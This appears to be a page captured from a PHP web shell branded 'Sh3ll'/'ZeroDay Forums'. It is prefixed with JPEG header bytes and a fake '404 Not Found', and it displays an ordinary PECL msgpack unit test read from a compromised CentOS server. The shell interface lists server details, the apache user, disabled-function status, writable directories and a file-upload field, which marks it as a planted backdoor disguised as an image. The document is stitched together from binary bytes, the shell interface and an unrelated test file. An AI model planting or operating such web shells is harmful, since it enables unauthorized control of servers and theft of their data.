����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/usr/share/tests/pecl/msgpack/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/tests/pecl/msgpack/tests/140.phpt
--TEST--
Null byte key position while unpacking objects
--SKIPIF--
<?php
if (version_compare(PHP_VERSION, '5.2.0') < 0) {
    echo "skip tests in PHP 5.2 or newer";
}
--FILE--
<?php
if(!extension_loaded('msgpack'))
{
    dl('msgpack.' . PHP_SHLIB_SUFFIX);
}

function test($type, $array)
{
    $stdClass = hex2bin('c0a8737464436c617373'); // "\0" => 'stdClass'
    $placeholder = hex2bin('a178a178'); // 'x' => 'x'

    $serialized = msgpack_pack($array);
    $serialized = str_replace($placeholder, $stdClass, $serialized);
    $unserialized = msgpack_unpack($serialized);

    var_dump($unserialized);
    unset($array['x']);

    echo $unserialized == (object) $array ? 'OK' : 'ERROR', PHP_EOL;
}

$array = array('x' => 'x', 'foo' => 1);
test('single property, key at the beginning', $array);

$array = array('foo' => 1, 'x' => 'x');
test('single property, key at the end', $array);

$array = array('x' => 'x', 'foo' => 1, 'bar' => 2);
test('multiple properties, key at the beginning', $array);

$array = array('foo' => 1, 'x' => 'x', 'bar' => 2);
test('multiple properties, key in the middle', $array);

$array = array('foo' => 1, 'bar' => 2, 'x' => 'x');
test('multiple properties, key at the end', $array);

$array = array('null' => null, 'x' => 'x');
test('null, key at the end', $array);

$array = array('int' => 1, 'x' => 'x');
test('int, key at the end', $array);

$array = array('float' => 4.2, 'x' => 'x');
test('float, key at the end', $array);

$array = array('string' => 'str', 'x' => 'x');
test('string, key at the end', $array);

$array = array('array' => array(42), 'x' => 'x');
test('array, key at the end', $array);

class Foo { public $a = null; }
$obj = new Foo();
$array = array('object' => $obj, 'x' => 'x');
test('object, key at the end', $array);

--EXPECTF--
object(stdClass)#%d (1) {
  ["foo"]=>
  int(1)
}
OK
object(stdClass)#%d (1) {
  ["foo"]=>
  int(1)
}
OK
object(stdClass)#%d (2) {
  ["foo"]=>
  int(1)
  ["bar"]=>
  int(2)
}
OK
object(stdClass)#%d (2) {
  ["foo"]=>
  int(1)
  ["bar"]=>
  int(2)
}
OK
object(stdClass)#%d (2) {
  ["foo"]=>
  int(1)
  ["bar"]=>
  int(2)
}
OK
object(stdClass)#%d (1) {
  ["null"]=>
  NULL
}
OK
object(stdClass)#%d (1) {
  ["int"]=>
  int(1)
}
OK
object(stdClass)#%d (1) {
  ["float"]=>
  float(4.2)
}
OK
object(stdClass)#%d (1) {
  ["string"]=>
  string(3) "str"
}
OK
object(stdClass)#%d (1) {
  ["array"]=>
  array(1) {
    [0]=>
    int(42)
  }
}
OK
object(stdClass)#%d (1) {
  ["object"]=>
  object(Foo)#%d (1) {
    ["a"]=>
    NULL
  }
}
OK

ZeroDay Forums Mini